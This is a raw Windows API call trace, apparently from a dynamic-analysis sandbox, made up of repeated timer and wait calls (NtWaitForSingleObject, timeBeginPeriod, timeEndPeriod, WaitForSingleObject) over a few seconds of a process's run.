	[0068.173] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.190] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0068.190] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0068.192] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0068.192] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.236] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.246] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.257] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.272] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0068.272] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0068.285] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0068.285] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.310] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0068.310] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0068.323] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0068.323] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.329] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0068.329] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0068.350] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0068.350] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.363] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.383] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0068.383] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0068.402] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0068.402] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.426] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.436] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.437] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.442] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.443] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0068.443] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0068.444] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0068.444] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.463] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0068.463] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0068.467] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0068.467] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.506] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.507] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.512] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.513] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0068.513] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0068.515] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0068.515] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.533] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0068.533] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0068.537] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0068.537] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.579] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.580] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.586] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.588] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.607] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0068.607] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0068.612] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0068.612] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.645] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.655] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.656] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.663] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.665] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.684] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0068.684] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0068.688] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0068.688] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.774] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.775] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.784] SetEvent (hEvent=0xb4) returned 1
	[0068.784] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.784] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0068.784] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0068.916] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0068.917] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.927] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.976] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0068.976] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0068.983] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0068.983] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.035] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.036] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.041] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.041] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0069.042] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0069.043] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0069.043] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.059] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.106] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.107] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.116] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.118] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.137] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0069.137] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0069.142] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0069.142] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.171] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.194] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.200] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.201] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0069.201] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0069.206] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0069.206] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.224] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0069.224] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0069.228] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0069.228] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.269] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.276] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.278] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.281] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.302] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.304] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0069.304] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0069.305] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0069.305] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.306] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0069.306] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0069.307] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0069.307] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.579] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.635] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.652] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.666] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0069.666] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0069.691] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0069.691] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.720] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0069.720] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0069.735] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0069.735] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.836] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0069.836] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0069.853] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0069.853] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.854] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0069.854] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0069.856] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0069.856] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.893] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.900] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.902] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.921] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0069.921] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0069.925] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0069.925] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.956] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.965] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.966] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.972] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.973] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0069.973] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0069.974] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0069.974] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0069.992] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0069.993] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0069.997] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0069.997] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.036] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.039] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.040] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.045] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.046] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0070.046] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0070.047] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0070.047] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.063] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.070] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.073] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0070.073] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0070.074] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0070.074] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.074] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0070.074] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0070.076] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0070.076] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.111] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.126] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.127] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0070.127] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0070.133] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0070.133] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.152] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0070.152] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0070.156] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0070.156] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.161] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.182] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.228] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.237] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.251] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.260] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0070.260] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0070.305] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0070.305] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.330] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0070.331] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0070.337] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0070.337] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.369] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.378] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.385] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.387] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.408] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0070.408] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0070.414] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0070.414] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.463] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.464] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.471] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.471] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0070.471] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0070.473] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0070.473] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.489] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.535] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.535] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.542] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.544] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.563] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0070.563] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0070.567] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0070.567] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.598] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.608] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.608] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.614] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.614] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0070.614] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0070.616] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0070.616] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.634] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0070.634] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0070.639] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0070.639] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.689] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.696] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.696] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0070.696] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0070.698] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0070.698] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.714] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.758] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.758] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.766] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.766] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0070.766] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0070.768] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0070.768] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.786] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0070.787] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0070.791] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0070.791] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.820] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.833] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.834] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.852] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.852] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0070.852] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0070.854] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0070.854] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.876] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0070.876] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0070.881] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0070.881] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.887] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.925] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.934] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0070.974] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0070.974] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0071.223] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0071.223] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.281] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0071.281] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0071.286] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0071.286] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.337] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.338] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.347] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.352] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.368] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.376] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.377] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0071.377] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0071.379] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0071.379] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.416] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.427] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.428] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0071.428] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0071.430] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0071.430] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.450] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0071.450] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0071.457] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0071.457] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.462] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0071.462] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0071.464] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0071.464] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.479] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.501] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.501] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.503] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.511] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.513] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.533] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0071.533] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0071.538] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0071.538] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.576] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.577] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.583] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.585] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.586] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0071.586] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0071.587] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0071.587] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.605] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0071.605] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0071.609] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0071.609] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.661] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.663] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0071.665] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
